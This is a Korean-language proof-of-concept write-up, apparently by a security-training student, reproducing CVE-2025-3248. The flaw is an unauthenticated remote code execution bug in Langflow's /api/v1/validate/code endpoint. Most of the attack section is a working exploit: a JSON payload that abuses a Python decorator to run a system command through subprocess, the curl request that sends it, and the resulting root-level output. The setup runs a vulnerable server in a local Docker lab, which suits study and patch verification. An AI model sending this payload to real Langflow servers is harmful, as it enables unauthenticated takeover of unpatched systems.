Exploit for Missing Authentication for Critical Function in Langflow CVE-2025-3248

## https://sploitus.com/exploit?id=B8CAEC40-6B5D-5BCD-883B-17CA4DCD1AF5
# CVE-2025-3248 : Langflow 사전 인증 RCE 취약점

> 화이트햇 스쿨 3기 (16반) - 김민채([@minxxcozy](https://github.com/minxxcozy))

<br/>

## 개요
Langflow 1.3.0 미만 버전에서 발견된 CVE-2025-3248 취약점을 재현하는 과정입니다. 이 취약점은 Langflow의 `/api/v1/validate/code` 엔드포인트에서 발생합니다. 이 엔드포인트는 사용자가 제출한 Python 코드를 검증하기 위해 `ast` 모듈을 사용해 파싱하고, 이후 함수 정의를 `exec`로 실행합니다. 이때, Python 데코레이터와 기본 인자 표현식이 함수 정의 시점에서 함께 실행됩니다. 즉, 악성 코드가 포함된 기본 인자나 데코레이터를 삽입하는 방식으로 악용될 수 있습니다.

### Langflow
Langflow는 자연어 처리(NLP) 및 대화형 AI 모델을 활용하는 LLM 기반의 플랫폼으로, 사용자가 다양한 AI 서비스와 통합하여 자연어로 커스터마이징된 작업을 수행할 수 있습니다. Langflow 1.3.0 미만 버전에서 발견된 CVE-2025-324 취약점은 LLM 기반의 애플리케이션에서 발생한 것으로, LLM 시스템이 잘못된 입력값을 실행하는 방식에 의한 보안 문제에 해당합니다.

### 참고 자료
* [Langflow GitHub Repository](https://github.com/langflow/langflow)
* [Langflow validate/code API Pre-Auth Remote Code Execution (CVE-2025-3248)](https://github.com/vulhub/vulhub/blob/master/langflow/CVE-2025-3248/README.md)
* [Langflow 1.3.0 Release](https://github.com/langflow-ai/langflow/releases/tag/1.3.0)

<br/>

## 환경 설정
다음 순서대로 PoC 환경을 설정합니다.
1. 레포지토리 클론
```
git clone https://github.com/<your-username>/vulhub.git
cd vulhub/langflow/CVE-2025-3248
```

2. 취약한 Langflow 서버 (v1.2.0) 실행
```
docker compose up -d
```

3. 서버 기동 확인
```
curl http://localhost:7860
```

<br/>

## Payload 작성
하단의 페이로드는 `/api/v1/validate/code` 엔드포인트에서 공격자가 `@exec` 데코레이터를 사용하여 임의의 시스템 명령어를 실행하도록 구성된 예시입니다. 이 경우, id 명령어를 실행하여 시스템 정보를 반환하도록 할 수 있습니다.
```json
{
  "code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"
}
```

<br/>

## 취약점 재현

### PoC 요청 전송
아래 명령어를 사용하여 취약한 API 엔드포인트에 POST 요청을 보내고, 악성 페이로드를 전송합니다.
```
curl -i -X POST http://localhost:7860/api/v1/validate/code \
  -H "Content-Type: application/json" \
  -d @payload.json
```

### 응답 확인
서버에서 정상적으로 `id` 명령어를 실행했다면, 다음과 같은 응답을 받게 됩니다.

![image](https://github.com/user-attachments/assets/eeaf69c5-9afb-4f89-a5e8-633e7575b802)


해당 응답은 `id` 명령어가 루트 권한으로 실행되었음을 나타내며, 취약점이 실제로 존재한다는 것을 증명합니다.

<br/>

## 결과
PoC 요청을 통해 Langflow 서버가 공격자가 제공한 악성 Python 코드를 실행하는 것을 확인했습니다. 응답 결과로 `id` 명령어가 루트 권한(`uid=0(root)`)으로 실행된 출력이 반환되었습니다. 이를 통해 CVE-2025-3248 취약점이 실제로 존재하며, 인증 없이 원격 코드 실행(RCE)이 가능함을 입증할 수 있었습니다.